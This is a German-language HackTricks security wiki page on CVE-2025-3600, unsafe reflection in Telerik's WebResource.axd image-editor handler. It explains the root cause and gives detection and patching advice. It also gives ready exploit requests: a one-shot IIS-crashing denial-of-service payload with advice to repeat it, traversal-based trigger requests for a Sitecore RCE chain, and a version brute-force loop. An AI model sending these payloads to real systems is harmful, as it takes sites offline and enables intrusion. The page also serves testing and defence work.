Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Pre‑auth Konstruktor‑Ausführung im Telerik UI for ASP.NET AJAX Image Editor cache handler ermöglicht universellen DoS und in vielen Anwendungen pre‑auth RCE via ziel‑spezifische Gadgets (CVE-2025-3600).

TL;DR

  • Betroffene Komponente/Route: Telerik.Web.UI.WebResource.axd mit Query type=iec (Image Editor cache handler). In vielen Produkten pre‑auth exponiert.
  • Primitive: Angreifer kontrolliert einen Typnamen (prtype). Der Handler löst ihn mit Type.GetType() auf und ruft Activator.CreateInstance() auf, bevor die Interface‑Typensicherheit verifiziert wird. Jeder öffentliche parameterlose .NET Typkonstruktor wird ausgeführt.
  • Impact:
    • Universeller pre‑auth DoS mit einem .NET Framework Gadget (PowerShell WSMan finalizer).
    • Führt in realen Deployments häufig zu pre‑auth RCE durch Ausnutzung app‑spezifischer Gadgets, besonders unsichere AppDomain.AssemblyResolve handlers.
  • Fix: Update auf Telerik UI for ASP.NET AJAX 2025.1.416+ oder den Handler entfernen/absperren.

Affected versions

  • Telerik UI for ASP.NET AJAX Versionen 2011.2.712 bis einschließlich 2025.1.218 sind verwundbar.
  • Gefixt in 2025.1.416 (veröffentlicht 2025-04-29). Sofort patchen oder den Handler entfernen/absichern.

Affected surface and quick discovery

  • Exposure prüfen:
    • GET /Telerik.Web.UI.WebResource.axd sollte etwas anderes als 404/403 zurückgeben, wenn der Handler konfiguriert ist.
    • web.config auf Handler‑Mappings zu Telerik.Web.UI.WebResource.axd prüfen.
    • Verlasse dich nicht darauf, Telerik‑Strings auf / oder Login‑Seiten zu finden. Reale Produkte wie Sitecore exponieren den Handler oft, ohne ihn im Default‑HTML zu referenzieren.
    • Trigger‑Pfad für den verwundbaren Code‑Pfad erfordert: type=iec, dkey=1, und prtype=.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Hinweise

  • Einige PoCs verwenden dtype; die Implementierung prüft dkey==“1” für den Download-Flow.
  • prtype muss assembly-qualified sein oder im aktuellen AppDomain auflösbar sein.

Nützliche code/ops checks

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

Schnelle Versionstriage bei Legacy-Installationen

Wenn dieselbe Anwendung außerdem den veralteten Handler type=rau exponiert, können ältere Telerik-Tools weiterhin dabei helfen, die gemeinsame Telerik.Web.UI.dll-Version zu identifizieren, bevor type=iec-Recherchen versucht werden. Das nutzt CVE-2025-3600 nicht direkt aus; es macht lediglich Gebrauch von der Tatsache, dass rau und iec in derselben Assembly liegen.

Praktische Anwendung:

  • Wenn type=rau erreichbar ist, verwende das klassische Major-Version brute force aus älteren RAU-Tools, um die genaue Telerik.Web.UI-Assembly-Version zu ermitteln.
  • Vergleiche die ermittelte Version mit dem verwundbaren Bereich (2011.2.712 bis 2025.1.218) und dem gepatchten Build (2025.1.416+).
  • Behandle das Fehlen von type=rau als nicht schlüssig. iec kann weiterhin exponiert sein, selbst wenn rau deaktiviert oder gefiltert ist.

Beispiel mit dem Legacy-Helper CVE-2019-18935.py:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

Warum das hilft:

  • Enterprise-Apps bündeln oft jahrelang veraltete Telerik-Builds.
  • Red teams können schnell zwischen “handler exposed” und “likely still on a vulnerable DLL” unterscheiden.
  • Während der Incident Response hilft derselbe Trick, große IIS-Fleets einzugrenzen, wenn kein Dateisystemzugriff sofort verfügbar ist.

Ursache – unsafe reflection in ImageEditorCacheHandler

Der Image Editor-Cache-Download-Flow konstruiert eine Instanz eines Typs, der in prtype geliefert wird, und castet erst später zu ICacheImageProvider und validiert den Download-Key. Der Konstruktor wurde bereits ausgeführt, wenn die Validierung fehlschlägt.

Relevanter dekompilierter Ablauf ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: Kontrollierter Type-String → Type.GetType löst ihn auf → Activator.CreateInstance führt dessen öffentlichen parameterlosen Konstruktor aus. Selbst wenn die Anfrage danach abgelehnt wird, sind gadget side‑effects bereits aufgetreten.

## Universal DoS gadget (no app-specific gadgets required)

Klasse: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) besitzt einen Finalizer, der ein nicht initialisiertes Handle freigibt, wodurch beim Finalisieren durch den GC eine unhandled exception ausgelöst wird. Das bringt den IIS worker process kurz nach der Instanziierung zuverlässig zum Absturz.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Hinweise

  • Periodisch weiter senden, um die Site offline zu halten. Möglicherweise beobachten Sie im Debugger, dass der constructor aufgerufen wird; der Absturz tritt bei der Finalisierung auf.

From DoS to RCE – escalation patterns

Unsafe constructor execution unlocks many target‑specific gadgets and chains. Hunt for:

  1. Parameterless constructors that process attacker input
  • Einige ctors (oder static initializers) lesen sofort Request query/body/cookies/headers und (de)serialisieren diese.
  • Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctros, die config/blobs von der Festplatte laden oder deserialisieren, können missbraucht werden, wenn Sie in diese Pfade schreiben können (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Zustand zurücksetzen, Module umschalten oder Prozesse beenden.
  1. Constructors/static ctors that register AppDomain event handlers
  • Viele Apps fügen AppDomain.CurrentDomain.AssemblyResolve-Handler hinzu, die DLL-Pfade aus args.Name ohne Validierung zusammenbauen. Wenn Sie die Typauflösung beeinflussen können, können Sie beliebiges DLL-Laden von angreifer-kontrollierten Pfaden erzwingen.
  1. Forcing AssemblyResolve via Type.GetType
  • Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizers mit destruktiven Nebenwirkungen
  • Einige Typen löschen in Finalizers Dateien an festen Pfaden. In Kombination mit link-following oder vorhersehbaren Pfaden kann dies in bestimmten Umgebungen zu einer lokalen Privilegienerhöhung führen.

Beispiel einer pre‑auth RCE-Kette (Sitecore XP)

  • Schritt 1 – Pre‑auth: Einen Typ auslösen, dessen static/instance ctor einen unsicheren AssemblyResolve handler registriert (z. B. Sitecore’s FolderControlSource in ControlFactory).
  • Schritt 2 – Post‑auth: Schreibzugriff auf ein resolver-probed directory erlangen (z. B. via auth bypass oder weak upload) und eine bösartige DLL platzieren.
  • Schritt 3 – Pre‑auth: CVE‑2025‑3600 mit einem nicht existenten Typ und einem traversal‑geladenen Assembly-Namen ausnutzen, um den Resolver zu zwingen, Ihre platzierte DLL zu laden → Codeausführung als IIS worker.

Trigger examples

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validierung, hunting und DFIR-Notizen

  • Saubere Labor-Validierung: Fire the DoS payload und beobachten Sie app pool recycle/unhandled exception, die mit dem WSMan finalizer verknüpft sind.
  • Hunt in telemetry:
  • Anfragen an /Telerik.Web.UI.WebResource.axd mit type=iec und ungewöhnlichen prtype-Werten.
  • Fehlgeschlagene Type-Ladevorgänge und AppDomain.AssemblyResolve-Ereignisse.
  • Plötzliche w3wp.exe-Abstürze/Neustarts nach solchen Anfragen.

Mitigation

  • Patchen auf Telerik UI for ASP.NET AJAX 2025.1.416 oder neuer.
  • Entfernen oder einschränken der Exponierung von Telerik.Web.UI.WebResource.axd wo möglich (WAF/rewrites).
  • Ignore oder härten der prtype-Verarbeitung serverseitig (Upgrade führt vor der Instanziierung richtige Prüfungen durch).
  • Auditieren und härten von benutzerdefinierten AppDomain.AssemblyResolve-Handlern. Vermeiden Sie es, Pfade aus args.Name ohne Sanitization zu bauen; bevorzugen Sie strong-named loads oder Whitelists.
  • Einschränken von Upload/Write-Standorten und verhindern, dass DLLs in probed-Verzeichnisse abgelegt werden.
  • Überwachen Sie Versuche, nicht existierende Typen zu laden, um Resolver-Missbrauch zu erkennen.

Cheat‑sheet

  • Presence check:
  • GET /Telerik.Web.UI.WebResource.axd
  • Look for handler mapping in web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universeller DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Trigger-Resolver:
This.Class.Does.Not.Exist, watchTowr

Verwandte Techniken

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Referenzen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks